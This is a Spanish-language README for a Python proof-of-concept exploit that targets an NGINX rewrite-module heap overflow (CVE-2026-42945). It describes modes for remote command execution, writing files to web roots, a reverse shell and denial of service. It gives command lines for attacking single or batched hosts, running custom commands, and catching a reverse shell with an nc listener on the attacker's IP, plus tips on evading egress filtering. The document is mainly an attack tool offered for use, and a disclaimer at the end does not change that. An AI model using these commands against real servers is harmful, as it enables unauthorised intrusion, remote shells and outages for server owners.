NGINX Rift RCE Exploit (CVE-2026-42945) de @DepthFirstDisclosures
Una herramienta profesional de Prueba de Concepto (PoC) para investigar e identificar la vulnerabilidad NGINX Rift, un desbordamiento crítico de búfer en el heap en ngx_http_rewrite_module.
Resumen de la Vulnerabilidad
- ID CVE: CVE-2026-42945
- Alias: NGINX Rift
- Gravedad: Crítica (CVSS 9.2)
- Versiones Afectadas: NGINX 0.6.27 hasta 1.30.0
- Causa Raíz: Error de discrepancia de tamaño en el motor de reescritura de dos pasadas al usar capturas PCRE sin nombre ($1, $2) y cadenas de reemplazo que contienen un ?.
- Impacto: Ejecución Remota de Código (RCE) no autenticada o Denegación de Servicio (DoS).
Características
- Soporte Multi-Modo: Prueba mediante una URL única o una lista por lotes desde un archivo .txt.
- Múltiples Métodos de Exploit:
- id: Ejecuta el comando id (Predeterminado).
- sleep: Verificación basada en tiempo (ideal para RCE ciega).
- write: Intenta escribir un archivo en los directorios raíz web comunes.
- shell: Envía una reverse shell basada en Python.
- crash: Provoca un fallo simple del proceso worker (DoS).
- Interfaz con Código de Colores: Indicadores visuales claros para estados vulnerable (Verde), seguro (Rojo) y depuración (Amarillo/Azul).
- Registro Verbose: Interacción detallada a nivel de socket para investigadores.
Uso
1. Escaneo de un Solo Objetivo
python3 poc.py --url http://target.com --method id
2. Escaneo por Lotes Multi-Objetivo
Crea un archivo llamado targets.txt con una URL por línea:
http://1.2.3.4
https://docs.company.com
http://server.internal:8080
Luego ejecuta:
python3 poc.py --list targets.txt --method sleep
3. Comandos Personalizados y Modo Verbose
python3 poc.py --url http://target.com --cmd "whoami" --verbose
4. Reverse Shell
Inicia primero tu listener: nc -lvp 1337
python3 poc.py --url http://target.com --method shell --listen-ip [YOUR_IP] --listen-port 1337
Interpretación de los Resultados
- [+] VULNERABLE (Verde): El exploit activó una firma de corrupción de memoria. Si se usó con sleep, comprueba si el tiempo de respuesta coincide con la duración del sleep.
- [-] Objetivo no vulnerable (Rojo): El exploit no pudo provocar un fallo usando los candidatos de memoria proporcionados.
- [DEBUG] (Amarillo/Azul): Información de fondo sobre heap spraying y direcciones candidatas.
Requisitos y Limitaciones
- Python 3.x: No se requieren librerías externas (usa socket y argparse estándar).
- ASLR: Este PoC usa direcciones de memoria estáticas. En sistemas donde ASLR está habilitado, el exploit probablemente resultará en una Denegación de Servicio (DoS) en lugar de RCE, a menos que se proporcione una fuga de memoria.
- Endurecimiento: El filtrado de salida (firewalls) puede impedir que los métodos curl o shell envíen datos de vuelta a ti. Usa el método sleep para la confirmación más fiable.
Aviso Legal
Esta herramienta es solo para fines educativos y auditoría de seguridad autorizada. El autor no es responsable de ningún uso indebido o daño causado por este script. Obtén siempre permiso explícito antes de realizar pruebas contra cualquier infraestructura.